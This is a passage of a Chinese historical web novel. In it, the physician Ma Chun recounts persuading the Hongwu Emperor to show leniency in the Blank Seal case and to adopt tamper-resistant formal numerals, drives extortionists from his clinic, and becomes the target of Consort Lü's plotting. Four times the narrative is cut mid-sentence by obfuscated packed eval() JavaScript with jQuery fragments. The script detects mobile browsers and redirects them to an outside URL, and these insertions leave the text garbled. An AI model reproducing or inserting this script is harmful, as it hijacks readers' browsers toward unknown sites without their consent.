看到马淳安然无恙地回来,她那根紧绷的弦才悄然松开。
“回来了?”她放迎了上来,目光在他身上仔细逡巡,“傅忠如何了?可曾受伤?”
“他没事。”马淳顺势坐在徐妙云旁边的矮凳上,“人已经回府了,虽然受了些惊吓,性命无忧。”
他将下午从见到胡氏到救出傅忠的经过,简略道来。
“佛祖保佑。”徐妙云双手合十,松了口气,“平安就好。傅夫人得知,想必能安心养胎了。”
她看着丈夫柔声道:“累坏了吧?我去给你煮碗定神汤。”
说着便要去小灶间。
“妙云。”马淳轻声唤住她,握住她的手。
他需要倾诉,更需要与她分享这份惊天动地的经历。
“汤不急。让我把后面的事……跟你说完。”
徐妙云察觉到他语气里带着劫后余生的郑重。
她顺从地坐回他身边,安静地望着他,“后面……是不是发生了什么?”
她从丈夫眼中,看到了更深层次的东西,远不止救人那么简单。
马淳深吸一口气,握紧了妻子的手。
他开始讲述那个下午在谨身殿里发生的一切。
从蒋瓛的警告,到朱元璋的试探,再到他冒险为傅忠求情后皇帝的质问。
“我说,傅忠虽然混账,但空印这事,他顶多是个凑热闹听壁脚的,并非首恶。将他一直关押,只为施加压力甚至‘钓鱼’,拖下去他会更危险……”马淳的声音平稳,回忆着当时的对话。
……
第139章别说话……吻我!!
接着,他缓缓道出了更关键的部分。
“然后……我将陛下曾问过我的那个问题,又搬了出来。陛下曾问我:‘你觉得,咱该杀他们吗?’我答:‘首恶当诛,胁从可悯。’”
“傅忠被放出只是一个引子。我抓住这个机会,对陛下说出了那些话。我说,这空印案牵连太广。一刀切下去,杀的岂止是几个首恶?多少人……只是为了衙门公文往返便利,因循着积年的旧例,糊里糊涂就被牵涉进来。又有多少家庭要破碎?傅忠的事,或许是个契机,一个提醒陛下‘胁从可悯’的契机……”
他语速不快,却字字清晰,将在君王威压下剖白谏言的过程,一一道来。
讲到朱元璋那句冰冷的“马淳!你在教咱怎么做皇帝?”时,徐妙云下意识地反握紧了他的手。
“那时候,是真的怕。”马淳低声承认,“一股冷气从脚底冲上头顶。但……就是那一股心气顶着,不能退。我跪下去,可后面该说的话,还是说了。”
徐妙云听得心弦紧绷,她能想象那殿中的窒息感,那面对九五之尊震怒时的可怖压力。
她无声地靠近丈夫,用身体传递着自己的支撑。
“后来呢?”她的声音带着不易察觉的微颤。
马淳的目光变得更深邃,“后来,陛下竟然让我把对涉案官吏区分的想法,详说给太子和皇后……也就是姐姐。”
他将“四类区分”的具体内容详细告诉了徐妙云:专权谋私者、趋利附恶者、盲从因循者、幡然悔悟者。
徐妙云越听越是惊讶,眼睛越睁越大。
这想法条理之清晰,思虑之周全,远非她以为的单纯求情!
“正当我以为陛下可能认可这个思路时,”马淳继续说道,“陛下拿起一份奏本,提到账册上数字容易被涂改添加的问题,那正是空印案舞弊的命门所在。”
说到这里,马淳脸上竟浮现出一抹医者找到了对症药方时才有的光芒,“那一刻,我脑子里灵光一闪。我对陛下说,欲绝此弊,除禁空印外,还必须改进记账之法!要用一种笔画更繁复、不易被添加涂改的大写数字来替代原来的简笔数字!”
“你是说……”徐妙云像是想到了什么,呼吸微微一窒。
“对!”马淳用力点了点头,“就是‘壹、贰、叁、肆、伍、陆、柒、捌、玖、拾、佰、仟、萬’!那些字笔画多,结构繁,想在空白处偷偷添一笔减一笔,甚至改动一个笔画,都难如登天!只要用它,账册涂改舞弊的漏洞,就从根基上被堵**!”
马淳深吸一口气,“陛下听了,只沉默了一下……然后,大喝了一声‘好——!’,震得整个大殿仿佛都在回响!”
徐妙云听得屏住了呼吸,一颗心高高悬起,又猛地落下。
那一声帝王的“好”,如同天籁!
“后来呢?”她追问,声音带着激动。
“陛下当即命我详述并写奏本,要诏命户部、通政司即刻推行天下!以后官府账册、钱粮契约,全部都要用这大写数字!”马淳的语气终于带上了一丝如释重负的轻松,“从大殿出来,陛下甚至没再提之前我的‘犯上’……太子殿下迎上来时也是又惊又佩,直说我那‘大字记数法’是神来之笔……”
他将后续太子朱标的赞叹、傅府门前傅忠那一跪带来的震撼,也一一细说。
一切都讲述完毕,小小的医馆内徐妙云安静地坐在他身边,紧紧握着他的手,许久许久没有言语。
马淳侧头看她。
医馆节能灯下,妻子的眼中水光潋滟,仿佛有无数星辰在涌动,那光芒越来越亮,充满了难以置信的惊叹和更深沉的敬服。
“妙云?”马淳轻声唤她。
徐妙云猛地吸了一口气,那口像是憋了很久很久的气。
她缓缓侧过身,正对着马淳,双手紧紧抓住他双臂,目光如炬,笔直地望进他眼底。
“夫君,”她的声音因为激动而微微发颤,“你今日做的这些……不仅仅救了一个傅忠。”
说着她
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15894039|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不知该如何表达自己的激动,揉身上前,双唇抵住马淳的唇。
夫妻二人,静谧的,享受着温存。
将所有的激动,化作这个吻。
良久后,二人唇分。
徐妙云依旧激动,“你提出的那四类区分,在陛下和太子心中种下了一颗种子!一颗‘情有可悯’的种子!有了这个开头,日后判决那些被裹挟的官吏,或许……或许就有了一个可以依循的新规矩!就不再是一味地……杀无赦了!”
她越说越快,眼中迸发出炽烈的光彩。
“还有那大写数字!更是一道救命符!一道护住了无数人饭碗、甚至性命的符!有了这个,下面那些管账的小吏,想要从中舞弊、乃至想要嫁祸他人,都难上加难!从此以后,他们的笔就重了!就不怕被人轻易陷害了!因账目不清被冤枉的案子,恐怕会少一大半!”
她望着眼前这个熟悉无比、此刻却又觉得有些陌生的丈夫。
他脸上有着医者的温和仁心,眉眼间却多了一份她从未如此深刻意识到的、源于智慧和担当的坚毅与光芒。
她的胸腔剧烈起伏着,脸上因为激动和自豪而泛起红晕。
“夫君,”她的声音带着膜拜的哽咽,泪水流得更凶,却全是欢喜,“你这不只是悬壶济世!这……这简直是泽被苍生的大善!大功!天大的好事!”
她用力晃了晃他的手臂,仿佛要将自己的激动传递给他。
“我不知道多少户部、地方官衙的小吏,会因为你这‘一字不易’的规矩,保住他们不被冤枉的饭碗和性命!多少像傅忠那样,因糊涂牵进大案的人,会因为你今天在陛下面前争出的那四个字——‘胁从可悯’,多了一线生机!”
徐妙云猛地站起来,因为激动甚至有些踉跄,她俯身用力抱住马淳,将脸埋在他肩头,泪水浸湿了他的衣襟。
“夫君,你今日不是在诊病。你是在医这病了的……世道人心啊!你知道你救了……救了多少人吗?”
……
第140章累了,娘子,真的累了。想歇歇了
徐妙云环抱着他,感受到丈夫身体。
她仰起脸,泪痕未干,眼中却盛满比星光更亮的光彩。“夫君,你还不明白吗?陛下准了你的求情,更采纳了你的谏言!
“那区分的四类,那不易涂改的大写数字,一旦诏令推行天下,就如同投石于湖,其涟漪所及,何止千千万万个傅忠?何止千千万万的傅家?
“那些原本因为一笔之差、一念之差就要人头落地的无辜小吏,那些因循旧例糊里糊涂撞上刀口的小官,都将因此多一线生机!
“这普天之下,因你一言而得以保全的家庭,怕是数都数不清了!这不是大善大功,又是什么?你为咱们孩子积了大德了。”
她的话像温热的暖流,融化了马淳心头的最后一丝自谦。
是啊,他或许没有济世救民的雄心壮志,但今日所行,其影响远超悬壶济世的一方药囊。
巨大的成就感环抱住自己,这不再是侥幸过关的轻松,而是亲手推动历史潮流的深切感知。
他反手更紧地抱住妻子,将脸埋在她淡淡药草清香的颈窝,深深吸了一口气,千言万语最终只化作一声疲惫而满足的低叹:“累了,娘子,真的累了。想歇歇了。”
徐妙云心中一阵疼痛,满是爱怜。
她松开怀抱,轻柔地替他按压着紧绷的太阳穴,“什么也别想了,先歇着。我去给你盛碗安神汤,一直温在小火炉上呢。”
……
转眼间,距离谨身殿那场关乎千万人生死命运的对谈,已过去两月有余。
洪武初年的金陵城,迎来了难得的和煦时节。
街头巷尾议论纷纷的空印大案,并未如历史上记载和某些人私下揣测的那般,掀起腥风血雨,牵连无数人头落地。
朝廷的通告贴满各处告示栏,清晰地传达着皇帝的谕旨:依罪行轻重明正典刑,首恶伏诛,协从者或谪或囚,亦有悔过认罪、揭发有功者得以宽宥。
虽仍有流血,仍有家破人亡的哭声回荡,但这规模已远小于最初令人窒息的恐惧。
坊间暗自庆幸,官场亦心有余悸之余透出一丝松动。
那“胁从可悯”四个字,虽未写入明诏,其代表的宽仁理念却已在悄然间渗入了案件的判决。
与此同时,另一项影响更深远的举措,如无声的潮汐,正迅速铺满整个王朝的肌理。
户部与通政司衙署门前车马喧嚣,吏员们进进出出,搬运着一箱箱新印刷好的规章册页。
那封面之上,“朝廷账册文契统一记数法式”几个正楷大字赫然在目。
翻开内页,不再是过去那易于篡改的“一、二、三、十、百、千”,取而代之的,是那笔画繁复、结构谨严的“壹、贰、叁、拾、佰、仟”!
布告文书张贴至每一府、每一县、每一处仓廪衙门。
地方官们起初看着这些陌生的大字,眉头深锁,疑惑不解,甚至私下抱怨徒增繁复。
然而,当他们真正开始誊写账册、开具契约,才悚然发现其中妙处。
再想如过去那般,在空白纸上悄然添上一笔,将“一”改“二”,“十”变“七”?在“壹”、“柒”这样繁复的字体面前,立刻变得昭然若揭,如同秃子头上的虱子!
更别提那些意图在成文后偷偷更改数字的心思,几近成为不可能。
最初的不适应很快被更强烈的踏实与敬畏所取代。
这套“大字记数法”,确如传言,是马国公从天家求来的救命良策!
……
金陵城西,医馆。
往昔的喧嚣与紧张气息早已消散无踪。
徐妙云端坐在诊案前,纤指搭在一位老妇人腕上,凝神细察。
她的眉目舒展,神情专注柔和,偶尔低声询问几句,声音温婉清晰。
案前排队等待的患者虽然不少,却秩序井然,偶有低语,也无大喧哗。
久违的、充满生机的平静终于回到了这方小小的天地。
“下一位。”徐妙云收回手,示意旁边记录的药童将开好的方子递给老妇。
老妇接过方子,连连道谢:“多谢徐大夫!
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15898860|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
喝了您上回的方子,夜里咳得好多了,觉也踏实了。”
“大娘客气了,按方继续调养,饮食宜清淡。”徐妙云温言嘱咐。
这时,医馆门帘被轻轻掀开,一个身材挺拔、面容俊朗温和的青年走了进来,身后只跟着一位便服侍从。
他穿着寻常青衫,步履间却自有股不容忽视的气度。
正是太子朱标。
排队的人群中有人认出,正要惊呼出声,朱标含笑抬手,轻轻向下压了压,那意思是勿需声张。
他安静地走到一旁角落,目光温和地扫过忙碌中的徐妙云和井然有序的患者,眼中流露出由衷的欣悦。
徐妙云诊完当前的患者,抬眼便看到了朱标,立刻起身欲行礼:“殿……”
朱标眼疾手快,两步上前,伸出手虚扶了一下,低声道:“自家人,在外边不必拘礼。舅母辛苦了,我看馆里一切安好,甚慰。”
“托殿下的福,总算恢复如常了。”徐妙云也笑着低声道,侧身引朱标往后院静室稍坐。“夫君在后院整理药材,殿下这边请。”
后院天井内,马淳正挽着袖子,与一名年轻药童仔细分拣着刚收来的几箩筐药材。
他神情专注,动作麻利,仿佛又回到了那个只识药草、不问朝堂的乡野大夫。
“舅舅!”朱标的声音带着亲近传来。
马淳闻声抬头,见是朱标,连忙放下手中的药材,拍打掉身上的浮尘,脸上露出由衷的笑容:“殿下怎么来了?快请屋里坐。”
朱标却摆摆手,就在药材筐边站定,看着堆积的草药,兴致勃勃地道:“就在院里说说话挺好,闻着这些药气比宫里那些薰香舒服。舅舅这是在做什么药?”
“都是些清热解毒、安神定志的常用药材,”马淳引着朱标到一旁的石凳坐下,“眼下时节易起烦躁、湿邪入体,备些常用药总归没错。殿下亲自前来,可是有事?”
朱标笑容收敛了几分,带着一丝郑重,从怀中取出一份文书:“舅舅看看这个。”
……
第141章改变历史!空印案结束!!
他递过来的是一份刚刚校对完准备刊印的诏令副本。
马淳接过,展开一看,是关于强力推行并细化新式账册记数规则的法令。
条分缕析,将“壹贰叁肆”等字的书写规范、适用范围、校验复核之规、及对违犯者的处罚细节罗列得极其详尽。
法令措辞严厉,透着一股不容违逆的铁腕。
“户部会同通政司厘定的细则,父皇御批,今日就要明发天下了。”朱标的语气中带着一种按捺不住的振奋,“舅舅可知,前些日,京畿道上报了一桩小案?一家粮栈掌柜,与税吏勾结,试图在往年旧账册上涂改入库数字,谋取私利。若是过去,改个‘一’为‘二’,抹去半个‘十’变‘七’,难以察觉。可那旧账册是用旧法记的‘十’,他们想改成‘百’,便在那‘十’字上硬要添上几笔凑成‘百’字!结果笔迹墨色迥异,线条扭曲粗陋,账册的库吏一眼便瞧出不对!立时便抓个正着!父皇得知,连说了三个‘好’字!”
朱标眼中神采奕奕,感慨万千:“仅仅一条小小的‘不涂改’之规,配上舅舅这不易篡改的字法,便如天降神兵!父皇前日还感慨,此策之利,非止于空印一案的收尾,而是替大明朝日后千百年的财赋管理,铸就了一块坚固无比、可御万般手段的基石!舅舅功在社稷,泽被深远!”
马淳静静听着,这确实是皇帝朱元璋雷厉风行的作风,也是他一向追求的长治久安之道。
能以一“字”阻万“弊”,这效果比他预想得更快、更显著、更令人欣慰。
他微笑着,递回给朱标:“是陛下圣心决断,推行有力。臣不过……尽了一分应尽之思。”
“舅舅过谦了!”朱标正色道,“若无舅舅在殿中那一言点破迷津,以无可辩驳的‘不易涂改’四字直指要害,焉能有此巨变?
“这功劳,舅舅推辞不得!父皇常言,舅舅有大智,更有大仁。”
他看着马淳,眼神真挚,“外甥此来,一是送这律令舅舅一观,让舅舅也高兴高兴。二是感念舅舅先前之言,特意告知,傅忠近况大佳。”
马淳听到傅忠的名字,“哦?他如何了?”
“脱胎换骨!”朱标用一个词概括,“自那日诏狱出来,他闭门思过整整一月,抄经诵佛,修心养性。后来被颖国公狠狠责打了一顿。如今虽出来了,性情却是大变,以往那些流连勾栏、呼朋引伴的荒唐行径尽数收去。
“听说他在家刻苦读书,还在研习其父的兵书札记,颇有颖国公年轻时的影子。
“他私下托人递话与东宫,只说要痛改前非,莫辱没了……国公爷为他挣回的这条命。”
朱标顿了顿,语气带着几分欣慰,“舅舅那一救,不仅是一条性命,更是点醒了一个迷途之人。傅家上下,感激不尽。”
马淳心中也涌起宽慰。
对于傅忠,他最初只是基于对朋友的义气和对其无辜性的判断。
看到这个曾意气风发又荒唐无度的年轻人,能在巨大挫折后幡然醒悟,走上正途,这喜悦与成就感,丝毫不亚于推行新法所带来的宽慰。
“浪子回头金不换。他能想通,就是最好的结果。”
朱标点点头:“另外,父皇让我带话:朝廷新政初行,地方或有梗阻,户部事繁。若有疑难杂症,或可请教舅舅。”
这既是信任,也是无形的期望。
马淳心领神会,拱手应道:“此乃为臣本分。殿下但有所问,知无不言。”
正事谈毕,气氛轻松下来。
朱标又坐着闲聊了几句家常,问起医馆近况、徐妙云身体可好,言语间充满对这位舅母的尊重和关切。
临走前,他又瞥见那些分拣的药材,忍不住打趣道:“舅舅如今贵为国公,竟还在后院侍弄这些药材?”
马淳朗声一笑,
“殿下说哪里话。这药草与我,就如笔墨与书吏,刀枪与武将,是吃饭的手艺,更是安身立命的根本。国公不国公,大夫的本分不能丢。浮名易扰人心,脚踏实地,才得长久安宁。”
朱标闻言,多了一分敬意。
是啊,眼前这位以“字”救天下无数小吏性命、令严酷父皇都赞不绝口的徐国公,骨子里,依旧是那个心怀慈悲、视悬壶济世为根本的小马大夫。
这份宠辱不惊的淡泊和扎根实地的质朴,或许比那些奇谋良策,更能让他这个年轻的储君领悟为政做人的根本。
“舅舅说得是,外甥受教了。”朱标郑重地拱手行了一礼,才带着侍从悄然离去。
几日后,一个安静的午后。
医馆的前堂患者不多。
徐妙云整理着上午的脉案记录,马淳则和药童在药柜前核查补货。
门帘再次被掀开。
这次走进来的身影挺拔魁梧,穿着质地极好却不张扬的藏青常服。
他面容英挺,曾经眉宇间的那份骄纵与轻佻之色荡然无存,取而代之的是沉稳和些许内敛的风霜感。
正是傅忠。
他身后跟着同样内敛了许多的傅让。
兄弟二人都提着一个精致的大食盒。
傅忠的目光在馆内一扫,很快落在马淳身上。
他喉头微微滚动了一下,脚步稳重地走上前,深深一揖:“国公爷,妙云姐。”
马淳和徐妙云都停下了手中的事。
“傅兄?快请起,”马淳
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15898861|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
扶住他,“都是自家人,不必多礼。伤都养好了?看着精神多了。”
傅忠直起身,眼中没有了往昔的嬉笑,只有沉甸甸的感激和一丝不易察觉的羞赧。“托国公爷天恩,捡回一条命,也捡回了被自己践踏的脑子。早已全好了。父亲教训得对,一顿家法,也打掉了许多荒唐不堪的念头。”
“我和大哥今日来,一是给国公爷和姐姐道谢。”傅让在一旁忙接口道,将手中的食盒恭敬地放在一旁的方桌上,“家里从江南新得了几篓极好的菱角和新鲜的河鱼,祖母和父亲特意吩咐做了些拿手的点心和菜式,让带来给国公爷和姐姐尝尝。”
“二是……”傅忠接过话头,语气诚恳,“想亲口来拜谢国公爷。若无国公爷当日在御前冒死力谏,傅忠此刻已是荒冢枯骨。此恩同再造,傅忠终身铭记!更令傅忠……”
他深吸一口气,“真正明白何为立身,何为……担当!国公爷的恩情与训教,忠铭感五内!”
他又一次郑重地躬身行礼。
马淳看着他,心中感慨万千。
那个曾经只知呼朋引伴、意气用事的颖国公世子,如今眼中闪烁着真正的决心之光。
他伸手再次扶起傅忠:“起来。看到你能如此,才是真正的不枉。望傅兄日后持正守心,莫负国公威名,莫负……傅家对你重新给予的希望。”
傅忠用力点头,眼眶微红:“国公爷教诲,傅忠字字记在心头!定不负所望!”
“在家好生读书,你父亲是老帅,家学渊源,多听多看。”马淳又叮嘱了一句。
“是,谨遵国公爷之命。”傅忠沉声应道,随即转向傅让,“弟弟,把另一份东西给国公爷。”
傅让忙从怀中取出一个用绸布仔细包裹的册子,双手奉上。
马淳打开一看,竟是一册装帧十分精美的《大明户部新定大字记数法》,后面还附了许多详细的注解和应用范例,显然是颖国公府寻人精心誊录甚至可能是刊印前的试印本。
“这……”马淳有些意外。
“父亲说,国公爷是此法的‘开山圣人’,本该送原稿来。但想此法定然是国公爷心头所系,故而嘱我抄录一份最清晰的,并附了这些注解,或可供国公爷闲暇翻阅指正,权作我们一点心意。”傅忠解释道。
马淳看着那整洁的书页,看着那熟悉的“壹贰叁肆”在纸上显得格外厚重有力。
一股暖流缓缓流过心田。
这个无心插柳创出的“不易涂改”之法,竟已被尊称为“法”,并被赋予了如此意义。
他抬头,对上傅忠兄弟诚挚的眼神,展颜一笑:“有劳颖国公和贤昆仲费心。”
第142章 不想看,可以滚!!
小青村医馆的日子恢复了平静。
徐妙云孕身日渐显怀,已四个月,行动多了几分小心。
她坐在诊案前,为一位咳喘的老者开方。
前厅门帘晃动。一个中年男人搀着一位老者走了进来。
老者步履蹒跚,须发杂乱,面色是一种不健康的蜡黄中透着青灰。
他眼神浑浊,呼吸带着一种令人不适的拉扯声。
“大夫……咳……咳咳……”老者刚开口就剧烈咳嗽起来,几乎喘不上气。
徐妙云立刻放下毛笔:“老人家,别急,先坐下。”
搀扶他的中年男人焦急道:“大夫,您快给瞧瞧!我家老父这病怪得很!看了好些地方都不见效!都说您这儿有神医……”
徐妙云示意他们坐下,温和道:“别急,慢慢说。老人家哪里不舒服?”
“咳……浑身都不舒服……”老者喘着气,“胸口闷得很,像压了块大石头……咳咳……还老打嗝,一股子说不出的臭味……吃不下,睡不着,眼见着人就垮了……”
中年男人补充道:“是啊大夫!您给好好看看,到底是什么怪病?看了七八个大夫,药吃了不少,钱也花了,就是不见好!反而越来越重了!”
徐妙云点点头,开始仔细问诊。
详细询问了起病时间,过往有无类似病史,饮食二便等情况。又仔细观察老者面色、眼神、舌苔,细细诊脉。
脉象滑而带弦,细察又有沉滞之感。
舌苔厚腻发黄,靠近喉头处似乎还隐隐有点特殊的斑点。
胸中气息不畅导致的嗳气,确实带着一种……隐约的臭鸡蛋味?
徐妙云秀眉微蹙。
这种组合症状……有些熟悉,却又复杂。
不像普通的气滞血瘀,也不全似寻常脾胃失和。
她思索着。
老者见徐妙云沉吟不语,眼中焦急更甚,喘息着催促:“大夫……您……您倒是说话啊?到底是什么病?”
徐妙云如实道:“老人家,您这病征颇为复杂,需要仔细辨证。从脉象舌苔看,似有痰浊内阻,蕴久化热,兼有气机不畅……”
中年男人听到“似有”这样的字眼,又看到徐妙云眉宇间的犹疑,脸色忽然变了。
他猛地站起来,声音陡然拔高:“复杂?仔细辨证?说来说去还不是看不出来!外面都说你这儿有神医妙手!连陛下和太子的病都能治好!怎么到了我们这儿,就辨不清了?我看你们就是浪得虚名!”
他指着徐妙云隆起的小腹,言语尖刻:“莫不是夫人身子金贵,懒得费心思,或者根本就没那份真本事!就是招摇撞骗的吧!”
药童惊得想上前阻止:“你胡说什么!”
徐妙云脸色微微发白,不是因为害怕,而是被对方突如其来的恶语所惊。
她深吸一口气,强压下怒意,护住腹部,冷静道:“这位兄台,医道精深,病情百变,需耐心查究方能确诊。口出恶言,于事无补。”
“耐心查究?我们等不起了!人都快没了!”中年男人如同被点燃的炮仗,更加激动,“我爹这怪病连太医都瞧不出来!你们要真有神通,就该一眼看穿!现在说些云里雾里的话,不是骗人是什么?我看你们这医馆就是个**的窝……”
“放肆!”
一声冷冽的断喝如同惊雷般在门口炸响!
门帘被猛然掀开。马淳高大的身影立在门口,面沉如水。
他显然是刚从城外回来,那目光,寒若冰霜。
室内瞬间死寂。
中年男人嚣张的气焰被这突如其来的威势一压,脖子下意识地一缩,对上马淳冰冷刺骨的眼神,后半截污言秽语硬生生卡在了喉咙里。
马淳大步流星走进来,甚至没看那对父子一眼,径直走到徐妙云身边。
他高大的身躯宛如一堵坚墙,将妻子稳稳护在身后。
目光落在徐妙云略显苍白的脸上,那寒冰般的视线瞬间融化,只余下关切:“夫人没事吧?他可有冲撞到你?”
徐妙云摇摇头,握了握他的手,示意自己无恙。
马淳这才转过身,重新看向那中年男人,眼神重新变得冰冷。
他声音不大,却字字如刀,“我夫人诊病,严谨精微,何时轮到你这等无知狂徒指手画脚?”
“口吐污
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15898862|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
言,辱我内人,更辱我医道尊严!”
马淳上前一步,那中年男人被气势所迫,竟不自觉后退了半步。
“你这等人,纵有金山相求,我夫妇亦不屑施救半分!”
他抬手指向门口,话语斩钉截铁,不留丝毫余地。
“不想看?可以!金陵城医馆不只我小青村一处!”
“滚!”
那一个字,带着雷霆般的震怒与医者的凛然尊严。
整个诊厅落针可闻。
连老者的咳嗽声都因惊惧而短暂止歇。
那中年男人被彻底镇住了。
脸上愤怒涨红的血色刷地褪去,瞬间变得惨白,身体抑制不住地颤抖起来。
他来之前得到的“指示”是尽可能胡搅蛮缠,逼迫医馆出手或者制造混乱,可从未想过会直接面对马淳如此雷霆万钧的怒火和毫不留情的驱逐!
那老者也慌了神,勉强喘着粗气,哀求出声:“神……神医息怒……咳咳……犬子不懂事……求您……求您大**量,发发慈悲……救救老头子……咳咳咳……”
他说着,挣扎着想站起来行礼,却一阵剧烈的咳嗽牵扯,几乎瘫软在椅子上,脸色更显青灰,眼神充满了恐惧和绝望。
换做从前,面对一个病入膏肓、苦苦哀求的老人,马淳或许还会有一丝医者的本能动摇。
但经过上一轮吕氏安排的“怪症病人”,经过傅忠诏狱的生死营救,马淳的心境已大不同。
他看向老者那复杂而怪异的病容,结合方才进来时捕捉到的信息与气息,心中对于其病症根源已浮现出一个危险的猜测。
然而此刻,马淳眼中没有丝毫怜悯,只有厌恶。
他居高临下地看着这对父子。
“辱我妻子在前,讹诈医馆在后。”
“你以为我看不出你父子所图为何?”
“《史记》所载,扁鹊有六不治。”
他声音清朗,如同宣读法典。
“骄恣不论于理,一不治也!”
“轻身重财,二不治也!”
“形羸不能服药,三不治也!”
“信巫不信医,四不治也!”
……
第143章 我儿朱允炆才最该当皇帝
他目光灼灼,如同利剑直指老者和他儿子。
“尔等,先以污言骄横无理,此犯其一!”
“又以绝症为名,妄图要挟,索求过度或另有图谋,此犯其二!”
“若我所测无误,你此病久延,已有妄语之象,神志或昏或乱,难以信医。此犯其四!”
马淳的声音斩钉截铁。
“四犯其禁,病入膏肓尤甚!”
“你父子二人,分明是拿病体作伐,行龌龊之图!”
他猛地一挥袖袍,指着大门,决绝如铁。
“此等心术不正,甘为他人爪牙以病讹诈之徒,纵扁鹊再世,亦不屑救!”
“滚出去!”
“莫要脏了我医馆的地!”
掷地有声的斥责回荡在厅堂,震得那中年男人面无人色,身体抖如筛糠,再不敢多言一个字。
连那哀嚎喘息的老者,也被马淳凛然不可侵犯的气场所震慑,喉咙里的哭求硬生生憋了回去,只剩下无意义的“嗬嗬”气声。
药童早已机灵地站到门边,肃容拉开帘子,目光如刀地盯着那对父子。
无需再言。
巨大的恐惧和彻底的失败感彻底压垮了他们。
中年男人几乎是半拖半拽着瘫软的、面若死灰的老父亲,连滚爬地向门口逃去。
门帘落下,徐妙云轻轻拉住丈夫的手。
“夫君……”她声音低柔。
马淳闭了闭眼,深吸一口气,强压下心头的戾气,周身凛冽的气息慢慢收敛。
转过身,脸上已恢复了一贯的温和。
他小心地扶着徐妙云坐回案后,温声道:“没惊着你和孩子吧?怪我回来迟了。”
徐妙云摇摇头,眼中并无责怪,反而有一丝心疼:“你维护我,我只有心安。况且……”她微微蹙眉,轻声道,“你方才提及‘六不治’,虽严厉,却句句在理。只是那老者……”
马淳眼中冷光一闪,随即化为了然:“妙云你也疑心不对,是么?”
“嗯。”徐妙云点头,“脉象固然复杂,但他喉头细微的斑点,那特殊的气味……加上其子后来那外厉内荏的反应,确实蹊跷。似是而非,倒像……”
“倒像是刻意制造出来,拖延病情的怪象。”马淳接口道,带着医者观察的精微。
“那老者看似油尽灯枯,脉象沉滞,却根基未散。那打嗝的气味,更似某种药物催发,混淆耳目。其状类癔,类**,却又故意隐去关键指征,让人难以确诊。若我所猜不错……”
他顿了顿,“这必是吕氏的第二招。手段更下作,更阴毒。妄图先以‘怪症’扰我,再借那泼皮之口,坏我夫妻名望。”
徐妙云默然,轻轻叹息一声,手下意识地护住小腹。
马淳眼中最后一丝冰寒也化去,只剩下看透的轻蔑与彻底的拒绝。
他轻抚妻子的后背,声音变得异常平静而坚定。
“跳梁小丑而已。上不得台面的毒计。”
“医者父母心,亦要有雷霆怒。”
“以彼之道,还施彼身。既知其谋,更当以‘六不治’拒之门外!”
“这等人,不配我施以针药,更不配得半分同情。”
他将妻子轻轻拥入怀,感受着那份温暖与腹中新生命的力量,低沉的语气中带着不容动摇的决绝。
“且由他们去。”
“天理昭昭。自作孽,必自毙。”
……
东宫深处。
吕氏端坐在铜镜前。
她手持玉梳,动作缓慢。
乌黑的长发被一丝丝理顺,镜中面容看似平静无波,内心里却正掀起滔天巨浪。
马淳,那么一场泼天大案足以动摇国本的漩涡,竟被他生生平息了!
陛下虽未明诏嘉奖,勋贵圈却早已传遍,言辞间尽是惊叹与忌惮。
那个乡野郎中,医术高明便罢了,如今竟连治国之才也如此惊人。
平息巨案,改制记账。
救人无数,恩威并立,俨然已是新贵标杆。
吕氏咬牙痛恨。
“娘娘。”贴身宫娥的声音在门外低唤。“殿下读书的时间到了。”
吕氏深吸一口气。“知道了。”
马淳的每一次成功都像一把无形的钝刀,在她多年筹谋的根基上狠狠凿击。
那些勋贵对他的赞誉。
“泽被苍生?”
“功在社稷?”
多么刺耳!
他凭什么?
凭什么拥有这样的声望!
凭什么阻挡她的路!
她走向外间,步子沉稳依旧,仪态万千。
远处传来幼童稚嫩的读书声。“大学之道,在明明德……”
是她的允炆,声音清脆,充满希望。
这声音,本该是她心底最大的慰藉,是未来无限荣光的基石,可此刻却被马淳搅起的阴霾笼罩。
马淳必须除去。
